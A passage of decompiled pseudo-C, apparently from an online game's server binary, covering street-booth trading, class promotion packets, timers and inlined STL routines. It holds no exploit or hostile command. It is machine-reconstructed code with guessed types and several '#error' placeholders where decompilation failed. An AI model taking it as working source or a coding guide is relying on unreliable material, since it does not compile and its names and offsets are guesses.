*(_DWORD *)((char *)v4 + 78); v79 = 65535; v78 = 0; v77 = (int)&alchat; v76 = 0; v75 = 0; v74 = v71; LOBYTE(v87) = 1; v72 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v72, v74, v75, v76, v77, v78, v79); v73 = *(_DWORD *)v4; v79 = 2; (*(void (__thiscall **)(void *, signed int))(v73 + 1632))(v4, 2); *((_DWORD *)v4 + 22292) = clockwatch.cw_CurrTick; LOBYTE(v87) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } else { v56 = *(_DWORD *)v4; v79 = 2646; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v56 + 776))(v4, 26, 2, 2646); v57 = **((_DWORD **)v4 + 22293); v58 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v59 = *((_DWORD *)v4 + 22293); v79 = v58; (*(void (__thiscall **)(int, int))(v57 + 12))(v59, v58); v60 = (void *)(*(_DWORD *)((char *)v4 + 32010) + 29); if ( *(_BYTE *)(netcmdd + 47) ) { memcpy(v60, (const void *)netcmdd, 0x2Fu); *(_BYTE *)(netcmdd + 47) = 0; } v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } } } else { netcmdb = v8 + 31; while ( 1 ) { v28 = *((_DWORD *)v4 + 8884); v79 = *(_BYTE *)netcmdb; v29 = (*(int (__thiscall **)(char *, signed int))v28)((char *)v4 + 35536, v79); v30 = *(_WORD *)(v29 + 8); v31 = *(_WORD *)(v29 + 8); if ( v31 >= dword_125739EC ) break; v32 = *(_DWORD *)(28 * v31 + dword_12574188); if ( !v32 ) break; if ( *(_BYTE *)(v32 + 269) ) break; if ( v30 >= (unsigned int)dword_125739EC ) break; v33 = *(_DWORD *)(28 * v30 + dword_12574188); if ( !v33 ) break; if ( *(_BYTE *)(v33 + 273) ) break; if ( ItemGroupClassifier::igc_ChargedDuringUse( &itemgroupclassifier, *(ItemAttributeClass **)(v29 + 112), (ItemTotalInformation *)v29) ) { v79 = 2649; goto LABEL_41; } v34 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v26 = __OFSUB__(k + 1, v34); v25 = ((k++ + 1 - v34) & 0x80000000u) != 0; netcmdb += 12; if ( !(v25 ^ v26) ) goto LABEL_36; } v37 = *(_DWORD *)v4; v79 = 2649; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v37 + 776))(v4, 26, 2, 2649); v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } goto LABEL_66; } v14 = netcmd + 33; v15 = (int)((char *)v4 + 35536); netcmda = 1; v81 = v8 + 31; while ( 1 ) { v16 = *(_DWORD *)v15; v79 = *(_BYTE *)v14; v17 = (*(int (__thiscall **)(char *, signed int))v16)((char *)v4 + 35536, v79); iick = (void *)v17; v79 = *(_WORD *)(v17 + 8); v18 = ItemDataBox::operator__(&itemdatabox, v79); if ( !v18 || !v18->data->Type ) { v79 = 2648; goto LABEL_41; } v19 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; m = netcmda; if ( netcmda < (signed int)v19 ) break; LABEL_25: v14 += 12; v24 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v26 = __OFSUB__(k + 1, v24); v25 = ((k++ + 1 - v24) & 0x80000000u) != 0; ++netcmda; v81 = v14; if ( !(v25 ^ v26) ) goto LABEL_26; } v20 = v14 + 14; while ( 1 ) { v21 = *(_DWORD *)v15; v79 = *(_BYTE *)(v20 - 2); v22 = (*(int (__thiscall **)(char *, signed int))v21)((char *)v4 + 35536, v79); if ( *((_WORD *)iick + 4) == *(_WORD *)(v22 + 8) ) { if ( *(_DWORD *)(v81 + 2) != *(_DWORD *)v20 || *(_DWORD *)(v81 + 6) != *(_DWORD *)(v20 + 4) ) break; } v23 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v20 += 12; ++m; if ( m >= (signed int)v23 ) { v14 = v81; goto LABEL_25; } } v35 = *(_DWORD *)v4; v79 = 2647; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v35 + 776))(v4, 26, 2, 2647); } else { v79 = 2643; LABEL_41: v36 = *(_DWORD *)v4; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v36 + 776))(v4, 26, 2, v79); } v87 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, 2629); LABEL_65: v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; LABEL_66: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v79); } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (00523050) -------------------------------------------------------- #error "523050: undefined or illegal type '#434' (funcsize=69)" //----- (00523170) -------------------------------------------------------- void __thiscall StreetBoothBuy::StreetBoothBuy(StreetBoothBuy *this) { StreetBoothBuy *v1; // esi@1 v1 = this; StreetBooth::StreetBooth(&this->baseclass_0); v1->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothBuy::_vftable_; } // 5DC8BC: using guessed type int (*StreetBoothBuy___vftable_)(); //----- (00523190) -------------------------------------------------------- void __thiscall StreetBoothBuy::_StreetBoothBuy(StreetBoothBuy *this) { this->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothBuy::_vftable_; StreetBooth::_StreetBooth(&this->baseclass_0); } // 5DC8BC: using guessed type int (*StreetBoothBuy___vftable_)(); //----- (005231A0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_IndexString(AbnormalStateContainer::AbnormalStateElement *this) { return "Base"; } //----- (005231B0) -------------------------------------------------------- char *__thiscall StreetBoothSell::sb_Type(StreetBoothSell *this) { return "Sell"; } //----- (005231C0) -------------------------------------------------------- char *__thiscall StreetBoothBuy::sb_Type(StreetBoothBuy *this) { return "Buy"; } //----- (005231D0) -------------------------------------------------------- #error "5231D0: undefined or illegal type '#434' (funcsize=202)" //----- (00523490) -------------------------------------------------------- #error "523490: undefined or illegal type '#434' (funcsize=282)" //----- (00523830) -------------------------------------------------------- #error "523830: undefined or illegal type '#434' (funcsize=305)" //----- (00523C30) -------------------------------------------------------- #error "523C30: undefined or illegal type '#434' (funcsize=470)" //----- (00524250) -------------------------------------------------------- void __thiscall StreetBoothSell::StreetBoothSell(StreetBoothSell *this) { StreetBoothSell *v1; // esi@1 v1 = this; StreetBooth::StreetBooth(&this->baseclass_0); v1->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothSell::_vftable_; } // 5DC9F0: using guessed type int (*StreetBoothSell___vftable_)(); //----- (00524270) -------------------------------------------------------- void __thiscall StreetBoothSell::_StreetBoothSell(StreetBoothSell *this) { this->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothSell::_vftable_; StreetBooth::_StreetBooth(&this->baseclass_0); } // 5DC9F0: using guessed type int (*StreetBoothSell___vftable_)(); //----- (00524280) -------------------------------------------------------- #error "524280: undefined or illegal type '#434' (funcsize=280)" //----- (00524650) -------------------------------------------------------- #error "524650: undefined or illegal type '#434' (funcsize=327)" //----- (00524A90) -------------------------------------------------------- #error "524A90: undefined or illegal type '#434' (funcsize=376)" //----- (00524FA0) -------------------------------------------------------- #error "524FA0: undefined or illegal type '#325' (funcsize=166)" //----- (005251D0) -------------------------------------------------------- #error "5251D0: undefined or illegal type '#434' (funcsize=341)" //----- (00525640) -------------------------------------------------------- SubAbstatePriority::StateExchange __thiscall SubAbstatePriority::PriorityBase::bp_AbStateChange(SubAbstatePriority::PriorityBase *this, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *oldparam, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *newparam) { char v3; // bl@1 unsigned int v4; // edi@1 char *v5; // eax@1 unsigned int v6; // esi@1 int v7; // ecx@3 v3 = 0; v4 = 0; v5 = (char *)&newparam->assa_Effect[0].value; v6 = (char *)oldparam - (char *)newparam; while ( 1 ) { if ( *(_DWORD *)&v5[v6 - 4] != *((_DWORD *)v5 - 1) ) return 0; v7 = *(_DWORD *)&v5[v6]; if ( v7 < *(_DWORD *)v5 ) return 1; if ( v7 > *(_DWORD *)v5 ) break; if ( v7 > 0 ) v3 = 1; ++v4; v5 += 8; if ( v4 >= 4 ) return (v3 != 1) + 1; } return 2; } //----- (005256B0) -------------------------------------------------------- void __thiscall TargetAnalyser::TargetAnalyser(TargetAnalyser *this) { this->vfptr = (TargetAnalyserVtbl *)TargetAnalyser::_vftable_; } // 5DCC14: using guessed type int (__stdcall *TargetAnalyser___vftable_[6])(int target); //----- (005256C0) -------------------------------------------------------- void __thiscall TargetAnalyser_Player::TargetAnalyser_Player(TargetAnalyser_Player *this) { this->baseclass_0.vfptr = (TargetAnalyserVtbl *)TargetAnalyser_Player::_vftable_; } // 5DCC20: using guessed type int (__stdcall *TargetAnalyser_Player___vftable_[3])(int target); //----- (005256D0) -------------------------------------------------------- void __thiscall TargetAnalyser_Player::_TargetAnalyser_Player(TargetAnalyser_Player *this) { this->baseclass_0.vfptr = (TargetAnalyserVtbl *)TargetAnalyser::_vftable_; } // 5DCC14: using guessed type int (__stdcall *TargetAnalyser___vftable_[6])(int target); //----- (005256E0) -------------------------------------------------------- #error "5256E0: undefined or illegal type '#325' (funcsize=6)" //----- (00525700) -------------------------------------------------------- #error "525700: undefined or illegal type '#325' (funcsize=4)" //----- (00525710) -------------------------------------------------------- #error "525710: undefined or illegal type '#325' (funcsize=6)" //----- (00525730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ThirdPromote(void *this, unsigned __int16 questid, char classtype) { int v3; // esi@1 char v4; // bl@1 CharClass *v5; // edi@1 char *v6; // edi@3 ZoneBaseSession *v7; // eax@5 Name4 *v8; // eax@7 CQuestZone *v9; // eax@8 PROTO_NC_QUEST_SCRIPT_CMD_ACK Ack; // [sp+4h] [bp-14h]@8 int v11; // [sp+14h] [bp-4h]@1 int classtypea; // [sp+20h] [bp+8h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ThirdPromote"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ThirdPromote"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = classtype; v11 = 0; v5 = CharClassManager::operator__(&charclassmanager, classtype); classtypea = (*(int (**)(void))(**(_DWORD **)(v3 + 4004) + 56))(); if ( v5->vfptr->cc_BaseClass(v5) == classtypea ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4182; *((_WORD *)v6 + 1) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v3); *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 836))(v3); v6[8] = v4; v6[9] = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1220))(v3); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ThirdPromote_ACK : Packet Too Long", 10); } if ( v4 ) { v8 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1352))(v3); CAnnounceSystem::AnnounceSystem_ClassUp(&gAnnounceSystem, v8, v4); } Ack.nQuestID = questid; Ack.nQSC = 3; Ack.nResult = v4 != 0; MoveManager::MoveManager((DiceTaiSai *)(v3 + 66032)); CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK(v9, &Ack); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ThirdPromote : ChassChange to another brench", 0); } --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ThirdPromote"); } //----- (005258D0) -------------------------------------------------------- void __thiscall TickTimer::TickTimer(TickTimer *this) { this->m_CurDelayTime = 0; this->m_DelayTime = 0; this->m_bEnable = 0; } //----- (005258E0) -------------------------------------------------------- void __thiscall TickTimer::TickTimer(TickTimer *this, unsigned int TickDeltaTime) { this->m_CurDelayTime = 0; this->m_DelayTime = TickDeltaTime; this->m_bEnable = 0; } //----- (00525900) -------------------------------------------------------- bool __thiscall TickTimer::Enable(TickTimer *this, bool bEnable) { this->m_bEnable = bEnable; this->m_CurDelayTime = 0; return 1; } //----- (00525920) -------------------------------------------------------- bool __thiscall TickTimer::IsEnable(TickTimer *this) { return this->m_bEnable; } //----- (00525930) -------------------------------------------------------- bool __thiscall TickTimer::CheckUpdateEvent(TickTimer *this, unsigned int TickDeltaTime) { unsigned int v2; // edx@2 unsigned int v3; // eax@2 unsigned int v4; // edx@2 bool result; // al@3 if ( this->m_bEnable && (v2 = TickDeltaTime + this->m_CurDelayTime, v3 = v2, this->m_CurDelayTime = v2, v4 = this->m_DelayTime, v4 < v3) ) { this->m_CurDelayTime = v3 - v4; result = 1; } else { result = 0; } return result; } //----- (00525960) -------------------------------------------------------- unsigned int __thiscall std::basic_string_std::allocator>::find(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count) { unsigned int result; // eax@1 unsigned int v5; // esi@1 unsigned int v6; // ebx@2 unsigned int v7; // ebx@3 size_t v8; // ebx@4 char *v9; // ebp@5 int v10; // ebp@7 void *v11; // eax@7 const char *v12; // edi@11 unsigned int v13; // ecx@11 void *v14; // esi@11 bool v15; // zf@11 char *v16; // ecx@17 std::basic_string,std::allocator > *v17; // [sp+0h] [bp-4h]@1 char *_Offa; // [sp+Ch] [bp+8h]@5 result = _Off; v5 = _Count; v17 = this; if ( __PAIR__(_Count, _Off) > this->_Mysize ) { v6 = this->_Mysize; if ( _Off < v6 && (v7 = v6 - _Off, _Count <= v7) && ((v8 = 1 - _Count + v7, this->_Myres < 0x10) ? (v9 = (char *)&this->_Bx, _Offa = (char *)&this->_Bx) : (v9 = *(char **)&this->_Bx._Buf[0], _Offa = (char *)&this->_Bx), v10 = (int)&v9[result], (v11 = memchr((const void *)v10, *_Ptr, v8)) != 0) ) { while ( 1 ) { v12 = _Ptr; v13 = v5; v14 = v11; v15 = 1; do { if ( !v13 ) break; v15 = *(_BYTE *)v14 == *v12; v14 = (char *)v14 + 1; ++v12; --v13; } while ( v15 ); if ( v15 ) break; v8 = v8 + v10 - (_DWORD)v11 - 1; v10 = (int)((char *)v11 + 1); v11 = memchr((char *)v11 + 1, *_Ptr, v8); if ( !v11 ) return -1; v5 = _Count; } v16 = _Offa; if ( v17->_Myres >= 0x10 ) v16 = *(char **)_Offa; result = v11 - v16; } else { result = -1; } } return result; } //----- (00525A30) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v4; // esi@1 std::basic_string,std::allocator > *v5; // edi@2 std::basic_string,std::allocator > *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { --v4; --v5; std::basic_string_std::allocator>::assign(v5, v4, 0, 0xFFFFFFFFu); } while ( v4 != _First ); result = v5; } return result; } //----- (00525A70) -------------------------------------------------------- void __cdecl std::fill_std::allocator>___std::basic_string_std::allocator>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Val) { std::basic_string,std::allocator > *i; // esi@1 for ( i = _First; i != _Last; ++i ) std::basic_string_std::allocator>::assign(i, _Val, 0, 0xFFFFFFFFu); } //----- (00525AA0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v5; // esi@1 std::basic_string,std::allocator > *v6; // edi@1 int v8; // [sp-Ch] [bp-20h]@1 std::basic_string,std::allocator > *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->_Myres = 15; v5->_Mysize = 0; v5->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(v5, v6, 0, 0xFFFFFFFFu); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00525B40) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, unsigned int _Count, std::basic_string,std::allocator > *_Val, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp-Ch] [bp-20h]@1 std::basic_string,std::allocator > *_Next; // [sp+0h] [bp-14h]@1 int *v9; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->_Myres = 15; v5->_Mysize = 0; v5->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(v5, _Val, 0, 0xFFFFFFFFu); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00525BE0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Ptr, unsigned int _Count, std::basic_string,std::allocator > *_Val) { std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00525C10) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, unsigned int _Count, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v4; // esi@1 std::basic_string,std::allocator > *v5; // ebx@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 unsigned int v8; // edi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ecx@15 int v12; // eax@18 void *v13; // eax@22 void *v14; // ebx@22 std::basic_string,std::allocator > *v15; // ST18_4@22 std::basic_string,std::allocator > *v16; // ST20_4@22 int v17; // eax@22 int v18; // edi@24 std::basic_string,std::allocator > *v19; // eax@24 std::basic_string,std::allocator > *v20; // ecx@27 std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator v21; // ebx@27 signed int v22; // edx@27 unsigned int v23; // ST28_4@28 std::basic_string,std::allocator > *v24; // ST24_4@28 unsigned int v25; // edx@28 std::basic_string,std::allocator > *v26; // eax@29 std::basic_string,std::allocator > *v27; // ecx@29 int v28; // [sp-Ch] [bp-48h]@1 std::vector,std::allocator >,std::allocator,std::allocator > > > *thisa; // [sp+0h] [bp-3Ch]@1 std::basic_string,std::allocator > *_Newvec; // [sp+4h] [bp-38h]@22 std::basic_string,std::allocator > *_Ptr; // [sp+8h] [bp-34h]@22 std::basic_string,std::allocator > _Tmp; // [sp+Ch] [bp-30h]@1 unsigned int cookie; // [sp+28h] [bp-14h]@32 int *v34; // [sp+2Ch] [bp-10h]@1 int v35; // [sp+38h] [bp-4h]@1 std::basic_string,std::allocator > *_Wherea; // [sp+44h] [bp+8h]@29 int _Counta; // [sp+48h] [bp+Ch]@22 v34 = &v28; v4 = this; thisa = this; _Tmp._Myres = 15; _Tmp._Mysize = 0; _Tmp._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&_Tmp, _Val, 0, 0xFFFFFFFFu); v5 = v4->_Myfirst; v35 = 0; if ( v5 ) { v7 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v4->_Myfirst; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1830].esc_skill.buffer[-v9 + 26253] < _Count ) std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(v4); if ( v4->_Myfirst ) v10 = v4->_Mylast - v4->_Myfirst; else v10 = 0; if ( v6 >= _Count + v10 ) { v20 = v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 4; _Newvec = v4->_Mylast; if ( v22 + ((unsigned int)v22 >> 31) >= _Count ) { _Wherea = &v20[-_Count]; v26 = std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 28 * _Count)); v27 = _Newvec; v4->_Mylast = v26; std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>( *(std::basic_string,std::allocator > **)&v21, _Wherea, v27, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill_std::allocator>___std::basic_string_std::allocator>>( *(std::basic_string,std::allocator > **)&v21, (std::basic_string,std::allocator > *)(*(_DWORD *)&v21 + 28 * _Count), &_Tmp); } else { std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( *(std::basic_string,std::allocator > **)&_Where, v20, (std::basic_string,std::allocator > *)(*(_DWORD *)&_Where + 28 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v23 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 28; v24 = v4->_Mylast; LOBYTE(v35) = 3; std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill( v4, v24, v23, &_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (std::basic_string,std::allocator > *)v25; v35 = 0; std::fill_std::allocator>___std::basic_string_std::allocator>>( *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)(v25 - 28 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1830].esc_skill.buffer[-(v6 >> 1) + 26253] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Counta = 28 * v11; v13 = operator new(28 * v11); v14 = v13; v15 = v4->_Myfirst; _Newvec = (std::basic_string,std::allocator > *)v13; _Ptr = (std::basic_string,std::allocator > *)v13; LOBYTE(v35) = 1; _Ptr = std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( v15, *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Mylast; _Ptr += v8; std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( *(std::basic_string,std::allocator > **)&_Where, v16, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 28; v18 = v17 + v8; v19 = v4->_Myfirst; if ( v19 ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v19, v4->_Mylast, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); operator delete(v4->_Myfirst); } v4->_Myend = (std::basic_string,std::allocator > *)((char *)v14 + _Counta); v4->_Mylast = (std::basic_string,std::allocator > *)((char *)v14 + 28 * v18); v4->_Myfirst = (std::basic_string,std::allocator > *)v14; } } if ( _Tmp._Myres >= 0x10 ) operator delete(*(void **)&_Tmp._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (00525F50) -------------------------------------------------------- std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::insert(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *result, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v4; // edi@1 std::basic_string,std::allocator > *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00525FC0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v2; // edi@1 std::basic_string,std::allocator > *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 std::basic_string,std::allocator > *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < this->_Myend - v3 ) { v6 = this->_Mylast; std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector_std::allocator>_std::allocator_std::allocator>>>::insert( this, (std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *)&_Val, (std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator)this->_Mylast, _Val); } } //----- (00526050) -------------------------------------------------------- void __cdecl tokenize(std::basic_string,std::allocator > *str, std::vector,std::allocator >,std::allocator,std::allocator > > > *result, std::basic_string,std::allocator > *delimiters, std::basic_string,std::allocator > *delimiters_preserve, std::basic_string,std::allocator > *quote, std::basic_string,std::allocator > *esc) { std::basic_string,std::allocator > *v6; // esi@1 std::basic_string,std::allocator > *v7; // edi@2 unsigned int v8; // esi@4 std::basic_string,std::allocator > *v9; // edi@4 unsigned int v10; // eax@4 unsigned int v11; // eax@9 int v12; // edi@9 int v13; // eax@10 char v14; // bl@12 bool v15; // zf@12 char *v16; // ecx@45 char *v17; // eax@45 unsigned int v18; // eax@47 unsigned int v19; // eax@50 char *v20; // eax@55 unsigned int v21; // ecx@57 char *v22; // esi@57 char *v23; // edx@58 unsigned int v24; // eax@60 unsigned int v25; // ecx@64 char add_delimiter; // [sp+0h] [bp-64h]@13 char escaped; // [sp+4h] [bp-60h]@12 char add_char; // [sp+8h] [bp-5Ch]@12 char quoted; // [sp+9h] [bp-5Bh]@4 char token_complete; // [sp+Ah] [bp-5Ah]@4 char current_quote; // [sp+Bh] [bp-59h]@4 unsigned int pos; // [sp+Ch] [bp-58h]@4 unsigned int len; // [sp+10h] [bp-54h]@2 char _Ch[4]; // [sp+14h] [bp-50h]@12 int delimiter; // 